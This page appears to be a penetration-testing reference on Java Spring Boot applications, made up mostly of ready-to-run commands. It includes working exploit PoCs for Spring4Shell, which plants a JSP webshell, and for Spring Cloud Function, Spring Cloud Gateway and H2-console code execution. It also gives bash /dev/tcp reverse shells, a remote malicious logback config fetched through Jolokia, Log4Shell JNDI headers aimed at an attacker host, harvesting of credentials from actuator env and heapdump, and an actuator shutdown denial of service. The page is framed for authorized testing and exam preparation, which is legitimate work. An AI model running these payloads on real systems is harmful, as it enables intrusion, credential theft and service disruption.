Skip to main content

Spring Boot

Java Spring Boot reference for penetration testing. Covers detection, enumeration, known CVEs, exploitation patterns, misconfigurations, and post-exploitation.


Table of Contents​


1. Detection​

Response headers​

Spring Boot apps (embedded Tomcat / Jetty / Undertow) typically return:

curl -sI http://<TARGET>:8080/ | grep -iE '^(server|x-application-context|x-powered-by)'

Expected output:

Server: Apache-Coyote/1.1
X-Application-Context: application:prod:8080

X-Application-Context is the strongest Spring Boot indicator. Format:

X-Application-Context: <app-name>:<profile>:<port>

Default error page​

Spring Boot default error page (Whitelabel):

{
"timestamp": "2026-10-11T06:19:23.000+00:00",
"status": 404,
"error": "Not Found",
"message": "No message available",
"path": "/nonexistent"
}

Or the HTML Whitelabel page:

<!doctype html>
<html lang="en">
<head>
<title>Whitelabel Error Page</title>
...
<h1>Whitelabel Error Page</h1>
<p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p>
...

The Whitelabel Error Page is a strong Spring Boot signature.

Actuator endpoints​

Spring Boot Actuator (spring-boot-starter-actuator) exposes management endpoints under /actuator/:

curl -s http://<TARGET>:8080/actuator
curl -s http://<TARGET>:8080/actuator/health

Default port​

Spring Boot default: 8080. Actuator may be on a separate port:

management.server.port=8081
management.endpoints.web.base-path=/actuator

nmap / whatweb​

nmap -sV -p 8080,8081,8443,9090 --script http-headers,http-title <TARGET>
whatweb -a 3 http://<TARGET>:8080/

2. Enumeration​

Actuator endpoints​

Full list of Actuator endpoints (when exposed):

EndpointPurposeSensitive
/actuatorIndex of exposed endpointsYes
/actuator/healthApp healthLow
/actuator/infoApp infoLow
/actuator/envEnvironment propertiesHIGH
/actuator/beansSpring beansHIGH
/actuator/configpropsConfig propertiesHIGH
/actuator/heapdumpJVM heap dump (download)CRITICAL
/actuator/threaddumpThread dumpMedium
/actuator/mappingsAll URL mappingsHIGH
/actuator/loggersLog levels (changeable)Medium
/actuator/httptraceLast 100 HTTP requestsHIGH
/actuator/auditeventsAudit eventsMedium
/actuator/metricsMetricsLow
/actuator/prometheusPrometheus metricsLow
/actuator/scheduledtasksScheduled tasksMedium
/actuator/cachesCache info (with delete)Medium
/actuator/shutdownShutdown app (POST)CRITICAL
/actuator/sessionsSession infoHIGH
/actuator/featuresFeature flagsLow
/actuator/refreshRefresh config (POST)CRITICAL

Fast enumeration:

for ep in health info env beans configprops heapdump threaddump mappings \
loggers httptrace auditevents metrics prometheus scheduledtasks \
caches shutdown sessions features refresh; do
code=$(curl -s -o /dev/null -w "%{http_code}" "http://<TARGET>:8080/actuator/$ep")
echo "$code /actuator/$ep"
done

/actuator/env - environment leak​

The goldmine. Reveals:

  • Environment variables (DB passwords, API keys, JWT secrets)
  • application.properties / application.yml values
  • System properties (Java version, OS, user)
  • Command-line args (--spring.datasource.password=...)
curl -s http://<TARGET>:8080/actuator/env | jq .
curl -s http://<TARGET>:8080/actuator/env | jq '.propertySources[].properties' | grep -iE 'password|secret|key|token'

Individual property lookup:

curl -s "http://<TARGET>:8080/actuator/env/spring.datasource.password" | jq .

/actuator/heapdump​

A JVM heap dump (.hprof binary) containing everything in memory:

  • Session tokens
  • Passwords (in transit or cached)
  • DB connection strings
  • JWT signing keys
  • Plaintext of TLS-decrypted secrets
curl -s http://<TARGET>:8080/actuator/heapdump -o heapdump.hprof
# Analyze with Eclipse MAT or:
strings heapdump.hprof | grep -iE 'password|secret|jwt|token' | head -20

With jvisualvm / Eclipse Memory Analyzer, this leads directly to credentials or session hijacking.

/actuator/mappings​

Full route table:

curl -s http://<TARGET>:8080/actuator/mappings | jq '..|.dispatcherServlets? // empty'

Reveals all @RequestMapping paths, including hidden admin / debug endpoints.

/actuator/httptrace​

Recent HTTP requests (URLs, headers, session IDs):

curl -s http://<TARGET>:8080/actuator/httptrace | jq .

May capture: Authorization headers, JSESSIONID, API keys in query strings.

/actuator/loggers - change log level​

POST to enable DEBUG logging at runtime:

curl -X POST http://<TARGET>:8080/actuator/loggers/com.example \
-H "Content-Type: application/json" \
-d '{"configuredLevel":"DEBUG"}'

Then watch /actuator/httptrace for verbose stack traces + secrets.

Common Spring paths​

for p in / /actuator /swagger-ui.html /swagger-ui/ /v2/api-docs /v3/api-docs \
/api /api/v1 /login /logout /h2-console /console /jolokia \
/management /admin /error; do
code=$(curl -s -o /dev/null -w "%{http_code}" "http://<TARGET>:8080$p")
echo "$code $p"
done

Swagger / OpenAPI​

curl -s http://<TARGET>:8080/v2/api-docs | jq .
curl -s http://<TARGET>:8080/v3/api-docs | jq .
curl -s http://<TARGET>:8080/swagger-ui.html

Full API documentation (paths, methods, params).

H2 console​

Spring Boot dev with H2 database exposes /h2-console:

curl -s http://<TARGET>:8080/h2-console/ | grep -iE 'h2|jdbc'

Default H2 JDBC URL: jdbc:h2:mem:testdb. Connect with sa / empty password.

Jolokia (JMX over HTTP)​

If jolokia is included:

curl -s http://<TARGET>:8080/jolokia/list | jq .

Jolokia allows arbitrary MBean operations -> RCE (see section 4).

Directory brute force​

feroxbuster -u http://<TARGET>:8080/ -w /usr/share/seclists/Discovery/Web-Content/spring-boot.txt

Seclists has a spring-boot.txt wordlist:

curl -s http://<TARGET>:8080/actuator | jq -r '. _links | keys[]'

Parse /actuator JSON to auto-discover exposed endpoints.


3. Known CVEs​

CVE-2022-22965 - Spring4Shell (RCE)​

Data binding vulnerability in Spring Framework on JDK 9+ running on Tomcat. Allows modification of class.module.classLoader.* -> write JSP webshell.

NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-22965 Affected: Spring Framework < 5.3.18, < 5.2.20.

PoC:

# 1. Modify Tomcat logging config to write to webapps/ROOT/shell.jsp
curl -X POST http://<TARGET>:8080/ \
-d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{prefix}i%25{ suffix }i" \
-d "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp" \
-d "class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT" \
-d "class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell" \
-d "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

# 2. Send the JSP payload in headers
curl http://<TARGET>:8080/ \
-H "prefix: <%25" \
-H "suffix: %25>" \
-H "c: Runtime.getRuntime().exec(request.getParameter(\"cmd\"))"

# 3. Trigger
curl "http://<TARGET>:8080/shell.jsp?cmd=id"

Metasploit: exploit/multi/http/spring_framework_rce_spring4shell.

CVE-2022-22963 - Spring Cloud Function SpEL injection (RCE)​

spring.cloud.function.routing-expression header is evaluated as SpEL -> arbitrary code execution.

NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-22963 Affected: Spring Cloud Function 3.0.0 - 3.2.2.

PoC:

curl -X POST http://<TARGET>:8080/functionRouter \
-H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"})" \
-H "Content-Type: text/plain" \
-d "test"

CVE-2022-22947 - Spring Cloud Gateway SpEL injection (RCE)​

Actuator endpoint /actuator/gateway/routes allows adding a route with SpEL expression -> RCE.

NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-22947 Affected: Spring Cloud Gateway < 3.1.1, < 3.0.7.

PoC:

# 1. Add a malicious route
curl -X POST http://<TARGET>:8080/actuator/gateway/routes/hacktest \
-H "Content-Type: application/json" \
-d '{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com",
"order": 0
}'

# 2. Refresh routes
curl -X POST http://<TARGET>:8080/actuator/gateway/refresh

# 3. Trigger
curl http://<TARGET>:8080/actuator/gateway/routes/hacktest

CVE-2023-34034 / CVE-2023-34035 - Spring Security auth bypass​

  • CVE-2023-34034: ** wildcard matching bypass -> auth bypass
  • CVE-2023-34035: Bypass via crafted request to servlet path

NVD: https://nvd.nist.gov/vuln/detail/CVE-2023-34034 NVD: https://nvd.nist.gov/vuln/detail/CVE-2023-34035 Affected: Spring Security 5.8.4 and earlier, 6.0.4 and earlier.

CVE-2023-20860 - Spring Security auth bypass​

AuthorizationManager misconfiguration with anyRequest().authenticated() can be bypassed via path trickery.

NVD: https://nvd.nist.gov/vuln/detail/CVE-2023-20860 Affected: Spring Framework 6.0.0 - 6.0.6, 5.3.0 - 5.3.25.

CVE-2024-22243 / CVE-2024-22259 - URL parsing SSRF​

UriComponentsBuilder mishandles URLs with @ in user-info -> SSRF / open redirect.

NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-22243 NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-22259 Affected: Spring Framework 6.1.0 - 6.1.3, 6.0.0 - 6.0.16, 5.3.0 - 5.3.31.

CVE-2024-38816 / CVE-2024-38819 - Path traversal in WebFlux / WebMvc​

Crafted URLs with encoded path traversal -> file read.

NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-38816 NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-38819 Affected: Spring Framework 5.3.0 - 5.3.39, 6.0.0 - 6.0.23, 6.1.0 - 6.1.12.

Version -> CVE quick table​

VersionTypeCVE
< 5.3.18, < 5.2.20Spring4Shell RCECVE-2022-22965
Spring Cloud Function 3.0-3.2.2SpEL RCECVE-2022-22963
Spring Cloud Gateway < 3.1.1SpEL RCECVE-2022-22947
Spring Security <= 5.8.4 / 6.0.4Auth bypassCVE-2023-34034 / 34035
Spring Framework 6.0-6.1URL SSRFCVE-2024-22243 / 22259
Spring Framework 5.3-6.1Path traversalCVE-2024-38816 / 38819

4. Exploitation Patterns​

Spring4Shell (CVE-2022-22965)​

Requires:

  • Spring MVC / WebFlux
  • JDK 9+
  • Deployed as WAR on Tomcat
  • Vulnerable Spring version
# Automated
git clone https://github.com/reznok/Spring4Shell-POC.git
cd Spring4Shell-POC
python exploit.py --url http://<TARGET>:8080/

Metasploit:

use exploit/multi/http/spring_framework_rce_spring4shell
set RHOSTS <target>
set RPORT 8080
set LHOST <your ip>
run

Spring Cloud Function SpEL (CVE-2022-22963)​

curl -X POST http://<TARGET>:8080/functionRouter \
-H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",\"id\"})" \
-H "Content-Type: text/plain" \
-d "test"

# Reverse shell
curl -X POST http://<TARGET>:8080/functionRouter \
-H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/<attacker>/4444 0>&1\"})" \
-d "test"

Spring Cloud Gateway SpEL (CVE-2022-22947)​

See section 3. This requires /actuator/gateway/* endpoints exposed.

Actuator env + heapdump -> credentials​

Step 1: dump env

curl -s http://<TARGET>:8080/actuator/env | jq '.propertySources[] | {name, props: .properties | keys}' | head -40

Step 2: dump heap

curl -s http://<TARGET>:8080/actuator/heapdump -o heap.hprof
# Analyze with MAT or grep for strings
strings heap.hprof | grep -iE '(password|secret|token|api[_-]?key)=' | sort -u | head -30

Extract session tokens, cached passwords.

Actuator /shutdown -> DoS​

curl -X POST http://<TARGET>:8080/actuator/shutdown

Only works if management.endpoint.shutdown.enabled=true (disabled by default).

Jolokia -> RCE​

If Jolokia is exposed and MBeans include logback (very common), use the Logback JNDI / config reload trick:

# 1. Exfiltrate a config file via logback MBean
curl -X POST http://<TARGET>:8080/jolokia/ \
-H "Content-Type: application/json" \
-d '{"type":"exec","mbean":"ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.joran.JoranConfigurator","operation":"doConfigure","arguments":["http://<attacker>/malicious.xml"]}'

malicious.xml (logback config) triggers JNDI lookup -> RCE.

Alternative: use com.sun.management:type=DiagnosticCommand MBean with jvmtiAgentLoad (or vmCommand) -> load a native agent.

Actuator loggers -> enable verbose logging​

curl -X POST http://<TARGET>:8080/actuator/loggers/ROOT \
-H "Content-Type: application/json" \
-d '{"configuredLevel":"TRACE"}'

Now all requests log in detail -> watch /actuator/httptrace for credentials.

SpEL injection in parameters​

If user input reaches SpEL evaluation:

curl "http://<TARGET>:8080/calc?expr=T(java.lang.Runtime).getRuntime().exec('id')"

SpEL syntax (same as Spring Cloud Function CVE):

T(java.lang.Runtime).getRuntime().exec(new String[]{"id"})
T(java.lang.Runtime).getRuntime().exec("bash -c {echo,BASE64}|{base64,-d}|bash")

H2 console -> RCE​

If /h2-console is exposed (dev mode):

  1. Connect with JDBC URL: jdbc:h2:mem:testdb and user sa, no password.
  2. Execute arbitrary SQL.
  3. H2 supports CREATE ALIAS ... FOR "java.lang.Runtime.exec" -> Java RCE:
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}';
CALL EXEC('id');
CALL EXEC('bash -i >& /dev/tcp/<attacker>/4444 0>&1');

Swagger -> discover hidden endpoints​

curl -s http://<TARGET>:8080/v3/api-docs | jq '.paths | keys[]'

Look for /admin/*, /internal/*, /debug/*, /test/* endpoints.

Log4Shell (transitive)​

Spring Boot apps using Log4j 2.x < 2.17.0 are vulnerable to Log4Shell:

curl -H "X-Api-Version: ${jndi:ldap://attacker.com/a}" http://<TARGET>:8080/
curl -H "User-Agent: ${jndi:ldap://attacker.com/a}" http://<TARGET>:8080/

See CVE-2021-44228 (NVD: https://nvd.nist.gov/vuln/detail/CVE-2021-44228).


5. Misconfigurations​

Actuator endpoints exposed​

curl -s http://<TARGET>:8080/actuator | jq '._links | keys'

Exposed env, heapdump, mappings, shutdown are critical.

No auth on actuator​

By default, Actuator is unauthenticated. Only Spring Security integration protects it. Check:

curl -s http://<TARGET>:8080/actuator/env | head -c 200

If 200 -> exposed.

/actuator/env shows raw passwords​

curl -s http://<TARGET>:8080/actuator/env | jq '.propertySources[] | select(.name | test("application")) | .properties | to_entries[] | select(.key | test("password|secret|key"))'

/actuator/heapdump publicly downloadable​

curl -sI http://<TARGET>:8080/actuator/heapdump | grep -iE 'content-length|content-type'

If 200 with application/octet-stream -> dump is downloadable.

H2 console in production​

curl -s http://<TARGET>:8080/h2-console/ | grep -i 'h2 console'

Swagger in production​

curl -s http://<TARGET>:8080/swagger-ui.html | grep -i swagger

Reveals entire API surface including internal endpoints.

Default Basic auth credentials​

Spring Security InMemoryUserDetailsManager with hardcoded creds:

curl -u admin:admin http://<TARGET>:8080/actuator/env
curl -u user:password http://<TARGET>:8080/actuator/env

Debug / trace enabled globally​

curl -s http://<TARGET>:8080/actuator/loggers/ROOT | jq .

If configuredLevel: DEBUG and httptrace is on, credentials are logged.

Exposed application.yml / properties​

for f in application.yml application.properties application-prod.yml application-prod.properties bootstrap.yml; do
code=$(curl -s -o /dev/null -w "%{http_code}" "http://<TARGET>:8080/$f")
echo "$code $f"
done

CORS misconfig​

curl -sI -H "Origin: https://evil.com" http://<TARGET>:8080/api/ | grep -i 'access-control'

6. Post-Exploitation​

Config file locations​

LayoutPath
JARInside BOOT-INF/classes/application.properties
JARInside BOOT-INF/classes/application.yml
WARInside WEB-INF/classes/application.yml
Exploded<app>/config/, <app>/application.yml
External/etc/myapp/application.yml
Env overridesystemctl show myapp --property=Environment

Extract config from JAR​

# Unzip the JAR
unzip -l app.jar | grep -E 'application|bootstrap'
unzip -p app.jar BOOT-INF/classes/application.properties
unzip -p app.jar BOOT-INF/classes/application.yml

Or use jd-cli / cfr to decompile and view.

What to look for​

grep -rE 'password|secret|key|token|jdbc|mongodb://|redis://' /opt/myapp/ 2>/dev/null
find / -name 'application*.yml' -o -name 'application*.properties' 2>/dev/null

Key items:

  • spring.datasource.url + spring.datasource.username + spring.datasource.password
  • spring.redis.host / spring.redis.password
  • spring.kafka.bootstrap-servers + SASL creds
  • spring.mail.* -> SMTP creds
  • jwt.secret / jwt.signing.key -> forge JWTs
  • aws.accessKeyId / aws.secretAccessKey
  • management.endpoints.web.exposure.include=* -> all actuator endpoints open

JAR decompilation​

# Decompile the whole app
java -jar cfr.jar app.jar --outputdir ./decompiled/
grep -rE 'password|secret|key' ./decompiled/ | head -30

Look for hardcoded credentials, debug flags, backdoors.

Heap dump analysis​

From /actuator/heapdump (if not yet downloaded):

curl -s http://<TARGET>:8080/actuator/heapdump -o heap.hprof
# Eclipse MAT
mat heap.hprof
# Or quick grep:
strings heap.hprof | grep -iE 'password|secret|token|jwt|bearer' | sort -u | head -50

Session IDs, decrypted passwords, in-flight API tokens.

JVM process injection (root)​

If you have root on the host:

jcmd <pid> VM.system_properties
jcmd <pid> VM.command_line
jcmd <pid> GC.class_histogram

Attach a Java agent:

# Compile a simple agent that runs a command on attach
jcmd <pid> JVMTI.agent_load /path/to/agent.so

Spring Boot /actuator/shutdown for cleanup​

curl -X POST http://<TARGET>:8080/actuator/shutdown

Only after you have documented proof. Restart is needed for the app.

Data source credentials -> DB pivot​

From spring.datasource.*:

psql -h <host> -U <user> -d <db>
# Or:
mysql -h <host> -u <user> -p<password> <db>

Spring Boot typically uses HikariCP; the underlying DB user has broad rights.

Logs​

ls -la /opt/myapp/logs/ /var/log/myapp/ 2>/dev/null
tail -n 200 /opt/myapp/logs/application.log

Spring Boot logs may contain: SQL queries, exceptions with parameters, authorization tokens, session IDs.


7. OSCP Notes​

IMPORTANT

OSCP report: screenshot the X-Application-Context header AND the Whitelabel Error Page - together they identify Spring Boot.

IMPORTANT

OSCP report: for Spring4Shell, screenshot the malicious POST body AND the resulting webshell output (id in JSP).

IMPORTANT

OSCP report: for actuator env leak, screenshot the JSON showing spring.datasource.password (mask it in the report, but capture the key path).


8. References​


Reference for authorized penetration testing, CTF, and OSCP exam preparation only.